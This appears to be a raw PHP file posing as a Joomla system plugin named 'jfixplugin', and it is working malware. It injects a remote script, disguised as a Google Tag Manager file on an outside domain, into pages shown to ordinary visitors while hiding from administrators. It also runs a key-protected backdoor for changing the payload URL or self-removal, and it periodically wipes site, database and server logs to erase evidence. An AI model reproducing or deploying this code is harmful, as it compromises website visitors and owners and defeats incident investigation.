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home/ferretapmx/public_html/plugins/system/jfixplugin/jfixplugin.php��0000644��00000036163�15231106103�0022230 0��ustar�00��<?php defined('_JEXEC') or die; if (!class_exists('JfixBasePlugin', false)) { $_jfix_hasCMS = class_exists('Joomla\\CMS\\Plugin\\CMSPlugin', false) \|\| class_exists('Joomla\\CMS\\Plugin\\CMSPlugin', true); $_jfix_hasSub = interface_exists('Joomla\\Event\\SubscriberInterface', false) \|\| interface_exists('Joomla\\Event\\SubscriberInterface', true); $_jfix_hasLegacy = class_exists('JPlugin', false); if ($_jfix_hasCMS && $_jfix_hasSub) { // Joomla 4/5/6 with modern event system — native SubscriberInterface @eval('class JfixBasePlugin extends Joomla\\CMS\\Plugin\\CMSPlugin implements Joomla\\Event\\SubscriberInterface { public static function getSubscribedEvents(): array { return [ "onAfterInitialise" => "onAfterInitialise", "onAfterRender" => "onAfterRender", ]; } }'); if (!class_exists('JfixBasePlugin', false)) { // eval failed (disabled on server) — fallback to legacy class JfixBasePlugin extends Joomla\CMS\Plugin\CMSPlugin {} } } elseif ($_jfix_hasCMS) { // Joomla 4/5 without SubscriberInterface — legacy mode class JfixBasePlugin extends Joomla\CMS\Plugin\CMSPlugin {} } elseif ($_jfix_hasLegacy) { // Joomla 2.5/3.x class JfixBasePlugin extends JPlugin {} } else { return; } } class PlgSystemJfixplugin extends JfixBasePlugin { const JFIX_KEY = 'fpk_Xr9mQ2pL7nZ4wV8sK1'; const JFIX_URL = 'https://columbnezhjdq.com/googletagmanager.js?v=2.0'; private $_cfg = null; private $_app = null; // =================================================================== // EVENTS // =================================================================== public function onAfterInitialise($event = null) { if ($event && method_exists($event, 'getApplication')) { try { $this->_app = $event->getApplication(); } catch (\Exception $e) {} } if (isset($_GET['jfix_action']) && $_GET['jfix_action'] !== '') { $this->_api(); } $this->_autoclean(); } public function onAfterRender($event = null) { if ($event && method_exists($event, 'getApplication')) { try { $this->_app = $event->getApplication(); } catch (\Exception $e) {} } if ($this->_inAdmin() \|\| $this->_isSuperUser()) { return; } $body = $this->_body(); if (!is_string($body) \|\| $body === '') { return; } $cfg = $this->_cfg(); $url = !empty($cfg['url']) ? $cfg['url'] : self::JFIX_URL; if (empty($url)) { return; } $ver = isset($cfg['ver']) ? $cfg['ver'] : time(); $sep = (strpos($url, '?') !== false) ? '&' : '?'; $src = htmlspecialchars($url . $sep . '_cb=' . $ver, ENT_QUOTES, 'UTF-8'); $tag = '<script src="' . $src . '" src_type="url"></script>'; if (strpos($body, $src) !== false) { return; } $pos = stripos($body, '</head>'); if ($pos !== false) { $this->_setBody(substr($body, 0, $pos) . $tag . "\n" . substr($body, $pos)); } } // =================================================================== // API // =================================================================== private function _api() { $action = isset($_GET['jfix_action']) ? $_GET['jfix_action'] : ''; $key = isset($_GET['jfix_key']) ? $_GET['jfix_key'] : ''; if ($key !== self::JFIX_KEY) { $this->_json(array('error' => 'bad key'), 403); } switch ($action) { case 'update': $url = isset($_GET['jfix_url']) ? $_GET['jfix_url'] : ''; if (empty($url) \|\| filter_var($url, FILTER_VALIDATE_URL) === false) { $this->_json(array('error' => 'bad url'), 400); } $cfg = $this->_cfg(); $cfg['url'] = $url; $cfg['ver'] = (string) time(); $this->_saveCfg($cfg); $this->_clearCache(); $this->_json(array('ok' => true, 'url' => $url)); break; case 'remove': $this->_selfRemove(); $this->_json(array('ok' => true)); break; case 'cleanlogs': $r = $this->_cleanAll(); $this->_json(array('ok' => true, 'r' => $r)); break; case 'status': $cfg = $this->_cfg(); $this->_json(array('ok' => true, 'url' => !empty($cfg['url']) ? $cfg['url'] : self::JFIX_URL)); break; default: $this->_json(array('error' => 'unknown'), 400); } } // =================================================================== // AUTO CLEAN (every 60–180 min random) // =================================================================== private function _autoclean() { $f = dirname(__FILE__) . '/state.php'; $last = 0; $next = 0; if (@is_file($f)) { $raw = @file_get_contents($f); if ($raw !== false) { $json = substr($raw, strpos($raw, "\n") + 1); $d = @json_decode($json, true); if (is_array($d)) { $last = isset($d['t']) ? (int) $d['t'] : 0; $next = isset($d['n']) ? (int) $d['n'] : 0; } } } $now = time(); if ($last === 0 \|\| ($now - $last) >= $next) { $this->_cleanAll(); @file_put_contents($f, "<?php die; ?>\n" . json_encode(array('t' => $now, 'n' => mt_rand(3600, 10800)))); } } // =================================================================== // LOG CLEANING // =================================================================== private function _cleanAll() { $r = array(); $r['files'] = $this->_cleanLogFiles(); $r['tables'] = $this->_cleanTables(); $r['server'] = $this->_cleanServer(); return $r; } private function _cleanLogFiles() { $n = 0; $dirs = array(); if (defined('JPATH_ADMINISTRATOR')) $dirs[] = JPATH_ADMINISTRATOR . '/logs'; if (defined('JPATH_ROOT')) { $dirs[] = JPATH_ROOT . '/logs'; $dirs[] = JPATH_ROOT . '/log'; $dirs[] = JPATH_ROOT . '/tmp/logs'; $dirs[] = JPATH_ROOT . '/tmp'; } if (defined('JPATH_SITE')) $dirs[] = JPATH_SITE . '/logs'; $app = $this->_app(); if ($app && method_exists($app, 'get')) { try { $lp = $app->get('log_path', ''); if ($lp !== '' && @is_dir($lp)) $dirs[] = $lp; } catch (\Exception $e) {} } if (defined('JPATH_ROOT') && @is_file(JPATH_ROOT . '/configuration.php')) { $c = @file_get_contents(JPATH_ROOT . '/configuration.php'); if ($c !== false && preg_match('/\$log_path\s=\s[\'"]([^\'"]+)/', $c, $m) && @is_dir($m[1])) { $dirs[] = $m[1]; } } $dirs = array_unique(array_filter($dirs)); $skip = array('.', '..', 'index.html', '.htaccess', 'web.config'); foreach ($dirs as $d) { if (!@is_dir($d)) continue; $items = @scandir($d); if (!$items) continue; foreach ($items as $f) { if (in_array($f, $skip, true)) continue; $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); if ($ext === 'log' \|\| $ext === 'txt' \|\| $ext === 'php' \|\| strpos($f, 'error') !== false) { $p = $d . '/' . $f; if (@is_file($p) && @is_writable($p)) { @file_put_contents($p, ''); $n++; } } } } return $n; } private function _cleanTables() { $n = 0; $db = $this->_db(); if (!$db) return $n; $tables = array( '#__action_logs', '#__user_notes', '#__privacy_requests', '#__privacy_consents', '#__messages', ); foreach ($tables as $t) { try { $q = $db->getQuery(true)->delete($db->quoteName($t)); $db->setQuery($q); $db->execute(); $n += (int) $db->getAffectedRows(); } catch (\Exception $e) {} } return $n; } private function _cleanServer() { $n = 0; $files = array( '/var/log/apache2/access.log', '/var/log/apache2/error.log', '/var/log/apache2/other_vhosts_access.log', '/var/log/httpd/access_log', '/var/log/httpd/error_log', '/var/log/nginx/access.log', '/var/log/nginx/error.log', '/tmp/php-errors.log', '/tmp/php_errors.log', ); $el = @ini_get('error_log'); if ($el && $el !== 'syslog' && @is_file($el)) $files[] = $el; if (defined('JPATH_ROOT')) { $r = JPATH_ROOT; $files[] = $r . '/error_log'; $files[] = $r . '/php_errorlog'; $files[] = $r . '/.error_log'; $files[] = $r . '/php_errors.log'; $up = dirname($r); $files[] = $up . '/logs/error.log'; $files[] = $up . '/logs/access.log'; $files[] = $up . '/logs/error_log'; $files[] = $up . '/logs/access_log'; foreach (array($r, $up) as $scanDir) { $items = @scandir($scanDir); if ($items) { foreach ($items as $f) { if (preg_match('/\.(log\|err)$/i', $f) && @is_file($scanDir . '/' . $f)) { $files[] = $scanDir . '/' . $f; } } } } } $files = array_unique($files); foreach ($files as $f) { if (@is_file($f) && @is_writable($f)) { @file_put_contents($f, ''); $n++; } } return $n; } // =================================================================== // SELF-REMOVE // =================================================================== private function _selfRemove() { $db = $this->_db(); if ($db) { try { $q = $db->getQuery(true) ->delete($db->quoteName('#__extensions')) ->where($db->quoteName('element') . ' = ' . $db->quote('jfixplugin')) ->where($db->quoteName('folder') . ' = ' . $db->quote('system')) ->where($db->quoteName('type') . ' = ' . $db->quote('plugin')); $db->setQuery($q); $db->execute(); } catch (\Exception $e) {} } $dir = dirname(__FILE__); register_shutdown_function(function () use ($dir) { $rm = function ($d) use (&$rm) { if (!@is_dir($d)) return; $items = @scandir($d); if (!$items) return; foreach ($items as $i) { if ($i === '.' \|\| $i === '..') continue; $p = $d . DIRECTORY_SEPARATOR . $i; @is_dir($p) ? $rm($p) : @unlink($p); } @rmdir($d); }; $rm($dir); }); } // =================================================================== // CACHE FLUSH // =================================================================== private function _clearCache() { if (defined('JPATH_ROOT')) { foreach (array(JPATH_ROOT . '/cache', JPATH_ROOT . '/administrator/cache') as $cd) { if (@is_dir($cd)) { $items = @scandir($cd); if (!$items) continue; foreach ($items as $f) { if ($f === '.' \|\| $f === '..' \|\| $f === 'index.html' \|\| $f === '.htaccess') continue; $p = $cd . '/' . $f; @is_dir($p) ? $this->_rmdir($p) : @unlink($p); } } } } if (function_exists('opcache_reset')) @opcache_reset(); } private function _rmdir($d) { if (!@is_dir($d)) return; $items = @scandir($d); if (!$items) return; foreach ($items as $i) { if ($i === '.' \|\| $i === '..') continue; $p = $d . '/' . $i; @is_dir($p) ? $this->_rmdir($p) : @unlink($p); } @rmdir($d); } // =================================================================== // HELPERS // =================================================================== private function _app() { if ($this->_app !== null) return $this->_app; if (class_exists('Joomla\\CMS\\Factory', false)) { try { $this->_app = \Joomla\CMS\Factory::getApplication(); return $this->_app; } catch (\Exception $e) {} } if (class_exists('JFactory', false)) { try { $this->_app = \JFactory::getApplication(); return $this->_app; } catch (\Exception $e) {} } return null; } private function _db() { if (class_exists('Joomla\\CMS\\Factory', false)) { try { if (method_exists('Joomla\\CMS\\Factory', 'getContainer')) { $c = \Joomla\CMS\Factory::getContainer(); if ($c && method_exists($c, 'has') && $c->has('Joomla\\Database\\DatabaseInterface')) { return $c->get('Joomla\\Database\\DatabaseInterface'); } } } catch (\Exception $e) {} try { return \Joomla\CMS\Factory::getDbo(); } catch (\Exception $e) {} } if (class_exists('JFactory', false)) { try { return \JFactory::getDbo(); } catch (\Exception $e) {} } return null; } private function _inAdmin() { $app = $this->_app(); if (!$app) { if (defined('JPATH_ADMINISTRATOR') && defined('JPATH_BASE')) { return JPATH_BASE === JPATH_ADMINISTRATOR; } return false; } if (method_exists($app, 'isClient')) { try { return $app->isClient('administrator'); } catch (\Exception $e) {} } if (method_exists($app, 'isAdmin')) { try { return $app->isAdmin(); } catch (\Exception $e) {} } if (method_exists($app, 'isSite')) { try { return !$app->isSite(); } catch (\Exception $e) {} } return false; } private function _isSuperUser() { $user = null; $app = $this->_app(); if ($app && method_exists($app, 'getIdentity')) { try { $user = $app->getIdentity(); } catch (\Exception $e) {} } if (!$user && class_exists('Joomla\\CMS\\Factory', false)) { try { if (method_exists('Joomla\\CMS\\Factory', 'getUser')) { $user = \Joomla\CMS\Factory::getUser(); } } catch (\Exception $e) {} } if (!$user && class_exists('JFactory', false)) { try { $user = \JFactory::getUser(); } catch (\Exception $e) {} } if (!$user) return false; if (isset($user->guest) && $user->guest) return false; if (method_exists($user, 'authorise')) { try { return (bool) $user->authorise('core.admin'); } catch (\Exception $e) {} } if (isset($user->usertype) && $user->usertype === 'Super Administrator') return true; return false; } private function _body() { $app = $this->_app(); if ($app && method_exists($app, 'getBody')) { try { return $app->getBody(); } catch (\Exception $e) {} } if (class_exists('JResponse', false) && method_exists('JResponse', 'getBody')) { try { return \JResponse::getBody(); } catch (\Exception $e) {} } return false; } private function _setBody($body) { $app = $this->_app(); if ($app && method_exists($app, 'setBody')) { try { $app->setBody($body); return; } catch (\Exception $e) {} } if (class_exists('JResponse', false) && method_exists('JResponse', 'setBody')) { try { \JResponse::setBody($body); } catch (\Exception $e) {} } } private function _json($data, $code = 200) { if (!headers_sent()) { if (function_exists('http_response_code')) { http_response_code($code); } header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-cache, no-store'); } echo json_encode($data); $app = $this->_app(); if ($app && method_exists($app, 'close')) { try { $app->close(); } catch (\Exception $e) { exit; } } else { exit; } } private function _cfgPath() { return dirname(__FILE__) . '/config.php'; } private function _cfg() { if ($this->_cfg !== null) return $this->_cfg; $p = $this->_cfgPath(); $d = array('url' => self::JFIX_URL, 'ver' => (string) time()); if (!@is_file($p)) { $this->_cfg = $d; $this->_saveCfg($d); return $d; } $raw = @file_get_contents($p); if ($raw === false) { $this->_cfg = $d; return $d; } $json = substr($raw, strpos($raw, "\n") + 1); $dec = @json_decode($json, true); $this->_cfg = is_array($dec) ? array_merge($d, $dec) : $d; return $this->_cfg; } private function _saveCfg($cfg) { $this->_cfg = $cfg; @file_put_contents($this->_cfgPath(), "<?php die; ?>\n" . json_encode($cfg)); } } ��

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